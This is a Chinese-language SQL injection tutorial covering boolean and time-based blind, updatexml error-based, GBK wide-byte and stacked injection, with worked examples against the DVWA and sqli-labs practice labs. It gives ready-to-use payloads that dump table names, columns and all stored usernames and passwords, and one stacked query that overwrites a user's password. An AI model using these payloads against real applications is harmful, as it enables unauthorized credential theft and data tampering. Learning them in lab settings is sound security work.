目录
盲注:布尔盲注、时间盲注
布尔型盲注
特点:页面存在异常,但是既无回显也无报错信息
利用:只能通过正确与错误两种状态来判断payload是否正确
没有显示位,也没有MySQL_error()函数
1' and 真 -- - 正常显示
1' and 假 -- -不正常显示
思路:基于布尔值对错的反馈来进行利用
常用函数
count()计算结果集的行数
length(str)返回指定字符串的长度
substr(str,pos,len)/substring(str,pos,len)
substr()返回截取的子字符串。ascii(str)返回指定字符串最左侧字符的ASCII值
案例
查看字符串长度函数是否大于1,返回结果为真:
1' and length(database())>1 -- -
查看字符串长度函数是否大于4,返回结果为假,说明数据库长度不大于4:
1' and length(database())>4 -- -
猜测字符串:
思路:一个一个字符比对。
函数:substr(expression,start,lenth)。有三个参数,按顺序分别是字符串,起始位置和长度
获取第一个字母的ASCII码值大于99,为真:
1' and ascii(substr(database(),1,1))>99 -- -获取第一个字母的ASCII码值小于101,为真:
1' and ascii(substr(database(),1,1))<101 -- -
推测出该数据库的第一个字母的ACSII码值为100,即字母"d"
其他的数据也可使用以上手段依次暴出数据。
由于一个单词一个单词猜解,过于费时费力,所以最好使用自动化工具SQLMap
时间盲注
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
**什么情况下考虑使用时间盲注?**
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
3. 不会显示报错信息,故无法使用报错注入
4. 符合盲注的特征,但不属于布尔型盲注
常用函数
sleep(n):将程序挂起一段时间 n为n秒。
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
使用sleep()函数和if()函数:`and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+` 如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。
案例
①猜测数据库名称长度:
输入:id=1' and If(length(database()) > 1,1,sleep(5))--+
用时:<1s,数据库名称长度>1
…
输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+
用时:5s,数据库名称长度=8
得出结论:数据库名称长度等于8个字符。
②猜测数据库名称的一个字符:
输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+
用时:<1s
…
输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
用时:5s
得出结论:数据库名称的第一个字符是小写字母s。
改变substr的值,以此类推第n个字母。最后猜出数据库名称。
③猜测数据库表名:先猜测长度,与上面内容相似。
④猜测数据库字段:先猜测长度,与上面内容相似。
⑤猜测字段内容:先猜测长度,与上面内容相似。
报错注入
原理:利用两个报错现象来实现注入,一是利用数据本身的报错信息,多是数据本身的错误,爆出提示
常用函数
updatexml()
updatexml(xmlobj,xpath,newvalue)
xmlobj,即xml document 类型为string 格式
xpath,类型为string,xpath语法的字符串
newvalue,更新后的新值
函数作用 :由于第二个参数使用了concat函数进行拼接,所以会输出不属于xpath路径的字符串引起数据库报错,从而找到我们的注入点,获取数据库回显的相关信息。
案例
1.暴库
1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -
2.暴表
1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa' ),0x5e),1) -- -
3.暴字段
1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' ),0x5e),1) -- -
4.暴内容
1' and updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) -- -
宽字节注入
使用原理:
GBK 编码 两个字节表示一个字符
ASCII 编码 一个字节表示一个字符
MYSQL默认字节集是GBK等宽字节字符集
addslashes()函数
addslashes ( string $str
) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号('
)、双引号("
)、反斜线(\
)与 NUL(**null
** 字符)。
只要注入’ “ \ 空字符 都会转义为 ' " \ \
案例
进入sqli-labs靶场
?id=1'
凭空出现一个反斜杠,猜测可能使用了addslashes()函数进行转义,试一试可否进行宽字节注入
输入%df
?id=1%df'
输入注释符后恢复正常
?id=1%df' -- -
后续可使用常规手段获取信息
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' -- -
http://127.0.0.1/sqli-labs-master/Less-32/?id=2%df' union select 1,2,3 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=-2%df' union select 1,2,3 --+
http://127.0.0.1/sqli-labs-master/Less-32/?id=-2%df' union select 1,version(),database() --+
//此时,已经获取到的信息有:数据库是security,版本信息:5.7.26
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%df' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
//得出了表名:emails,referers,uagents,users
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%df' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+
//得出了users表的字段名,发现有username和password
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%df' union select 1,2,group_concat(0x5e,username,0x5c,password0x5e) from users --+
//获得了所有的账户和密码
堆叠注入
堆叠注入触发条件
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间数据库信息时可同时执行多条sql语句层查询
案例
sqli-labs38
传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入
?id=1'
?id=1' -- -
尝试使用union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行
?id=1' union select 1,2,3;update users set password=123 where id=1--+
发现密码已修改所以存在堆叠注入